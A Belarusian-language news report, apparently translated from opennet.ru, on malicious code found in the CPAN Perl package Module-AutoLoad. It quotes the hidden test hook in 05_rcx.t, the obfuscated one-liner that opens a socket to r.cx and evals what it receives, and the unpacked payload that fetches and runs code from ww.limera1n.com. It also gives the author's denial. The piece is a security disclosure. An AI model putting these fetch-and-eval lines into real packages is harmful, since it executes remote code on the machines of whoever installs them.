У Perl-пакеце Module-AutoLoad выяўлены шкоднасны код

У распаўсюджваным праз каталог CPAN Perl-пакеце Module-AutoLoad, прызначаным для аўтаматычнай загрузкі CPAN-модуляў на лета, выяўлены шкоднасны код. Шкоднасная ўстаўка была знойдзена у кодзе цеста 05_rcx.t, Які пастаўляецца з 2011 года.
Характэрна, што пытанні аб загрузцы сумнеўнага кода ўзнікалі на Stackoverflow яшчэ ў 2016 годзе.

Шкоднасная актыўнасць зводзіцца да спробы загрузкі і выкананні кода са іншага сервера (http://r.cx:1/) падчас выкананні тэставага набору, які запускаецца пры ўсталёўцы модуля. Мяркуецца, што першапачаткова загружаны з вонкавага сервера код не быў шкоднасным, але зараз запыт перанакіроўваецца на дамен ww.limera1n.com, які аддае сваю порцыю кода для выканання.

Для арганізацыі загрузкі ў файле 05_rcx.t выкарыстоўваецца наступны код:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Указаны код прыводзіць да выканання скрыпту. ../contrib/RCX.pl, змесціва якога зводзіцца да радка:

use lib do {eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.»:1″};

Дадзены скрыпт загружае заблытаны пры дапамозе сэрвісу perlobfuscator.com код з вонкавага хаста r.cx (коды знакаў 82.46.99.88 адпавядаюць тэксту "R.cX") і выконвае яго ў блоку eval.

$ perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.»:1″; print <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Пасля распакавання ў выніку выконваецца наступны код:

print{$b=new IO::Socket::INET»ww.limera1n.com:80″}»GET /iJailBreak
«;evalor return warn$@while$b;1

У цяперашні час праблемны пакет выдалены са сховішча. ПАЎЗА (Perl Authors Upload Server), а ўліковы запіс аўтара модуля заблакаваная. Пры гэтым модуль пакуль застаецца даступны у архіве MetaCPAN і можа быць напрамую ўсталяваны з MetaCPAN пры дапамозе некаторых утыліт, такіх як cpanminus. адзначаецца, Што пакет не быў шырока распаўсюджаны.

Цікава, што да абмеркавання падключыўся і аўтар модуля, які абверг інфармацыю аб тым, што шкоднасны код падстаўлены пасля ўзлому яго сайта «r.cx» і растлумачыў, што ён проста так забаўляўся, а perlobfuscator.com выкарыстоўваў не для ўтойвання чагосьці, а для скарачэння памеру кода і спрашчэння яго капіявання праз буфер абмену. Выбар назвы функцыі "botstrap" растлумачаны тым, што гэтае слова "гучыць як bot і карацей, чым bootstrap". Аўтар модуля таксама запэўніў, што выяўленыя маніпуляцыі не здзяйсняюць шкоднасных дзеянняў, а толькі дэманструюць загрузку і выкананне кода па TCP.

Крыніца: opennet.ru

Дадаць каментар